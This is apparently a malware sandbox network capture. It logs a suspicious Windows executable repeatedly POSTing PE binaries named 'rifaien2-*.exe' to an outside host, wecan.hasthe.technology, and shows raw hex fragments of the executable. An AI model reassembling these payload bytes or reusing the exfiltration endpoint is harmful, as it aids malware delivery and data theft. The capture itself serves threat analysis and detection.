Oct 10, 2024 21:01:55.413938046 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:55.420687914 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:55.420828104 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:55.420849085 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:55.420871973 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:55.420902967 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:55.420953989 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:55.420977116 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:55.420998096 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:55.723171949 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:55 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:55 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=74BcNPaLjfuSS0kyTiiZftUUTM3x0p9ph1bvrvFUOOHWGos%2BBzGqtT0UsplZGEeL3L%2FntAEIV2xObDg0FFczkEXqzaetwp7mXudzB2CBDHM3NMc%2FFkd3rr11BgIR06DlTUrdIZ9GpRvqLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc9d2cb70ca5-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49777	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:55.871367931 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------491c7f8f328fb558
Oct 10, 2024 21:01:56.338388920 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:56.339226961 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 39 31 63 37 66 38 66 33 32 38 66 62 35 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------491c7f8f328fb558Content-Disposition: form-data; name="file[]"; filename="rifaien2-TcaUQfBZEuTk2vBh.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:56.339498043 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:56.344892979 CEST	7416	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:56.344954967 CEST	9888	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:56.345009089 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:56.349456072 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:56.350090981 CEST	4944	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:56.350209951 CEST	7416	OUT	Data Raw: 83 0a 01 51 84 2c 5c 8b 03 83 3c 30 00 75 8c bf 29 e0 52 89 f3 a5 08 50 50 6a 00 8b 02 11 18 0e a2 9e 55 08 8b c0 16 12 3b f7 3f 4f 83 eb 04 83 ff ff 75 d7 37 5a ff 33 c6 30 cb c5 60 3a 4f 7c 26 8a ff 60 16 eb 1d 47 3b 7d 0c 0f 8c 2c c5 b8 09 13 Data Ascii: Q,\<0u)RPPjU;?Ou7Z30`:O\|&`G;},@-J.}}KtEAta*jD+}V<u0^5MIQ1!Uti~}hukuVEQBP]PPPh#jR< Ht;Er=jvhG
Oct 10, 2024 21:01:56.350209951 CEST	4944	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:01:56.350276947 CEST	4944	OUT	Data Raw: 2e 5e 2f 68 39 19 01 00 0e 98 5e 0f 84 76 ba 2f 06 bf c6 47 10 01 c7 47 77 47 8e 41 3e 98 03 06 e6 27 41 77 72 ca 7e 03 5c 47 aa 4d 03 56 56 68 44 2b 2f ac e3 bb 14 57 03 6f 4b 2b 0f 84 1f 23 73 00 42 ce 84 85 e0 aa 1e b9 d8 ae 6a 4f 15 74 63 10 Data Ascii: .^/h9^v/GGwGA>'Awr~\GMVVhD+/WoK+#sBjOtcO;PT$\DMsq`cRSHhA cu\|lN`tjE1\(p?Q@?g4S6S7gIgC1[Gi^H,du3r#tZ
Oct 10, 2024 21:01:56.639301062 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:56 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:56 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fmdpWSanlkIoK54qkRKRAuWHCb%2FHyRrhqF4YkQxLbKr1aK26OmUQMUbZeoxuArUo7xC2alLYl61ZRZVfAh99%2F%2BqKpl3b88W3K7OWStaWgpd0wIdpLKt5HSogaz1FTkUluscyOeSaPgxRMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dca2fda3c481-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50334	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:56.849018097 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------eafad353d9259ff0
Oct 10, 2024 21:01:57.296134949 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:57.307174921 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 61 66 61 64 33 35 33 64 39 32 35 39 66 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------eafad353d9259ff0Content-Disposition: form-data; name="file[]"; filename="rifaien2-wBSYZWWVkUWmC8pQ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:57.307362080 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:57.312443972 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:57.312489033 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:57.312508106 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:57.312542915 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:57.312607050 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:57.312652111 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:57.312679052 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:57.312725067 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:57.631694078 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:57 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:57 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=htNg2zB8PcesiE6UgrMfyhnPwlEkuG5KYc3CrT98%2BX%2BpIudv3%2Bd2mVe3a1EvcfEju3opy9j0Gv4guRGGv%2F%2B0d9DlgkfKBljFIdbnsv2Rbst6Fbf%2FYcoahtHlMkBv89FFNRbgNceC%2BfJcfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dca8efd95e6b-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50337	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:57.777790070 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------db0822d568abc3af
Oct 10, 2024 21:01:58.239931107 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:58.241307974 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 62 30 38 32 32 64 35 36 38 61 62 63 33 61 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------db0822d568abc3afContent-Disposition: form-data; name="file[]"; filename="rifaien2-lT8PohiYenvvawzn.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:58.241559029 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:58.246536970 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:58.246566057 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:58.246608019 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:58.246701956 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:58.246718884 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
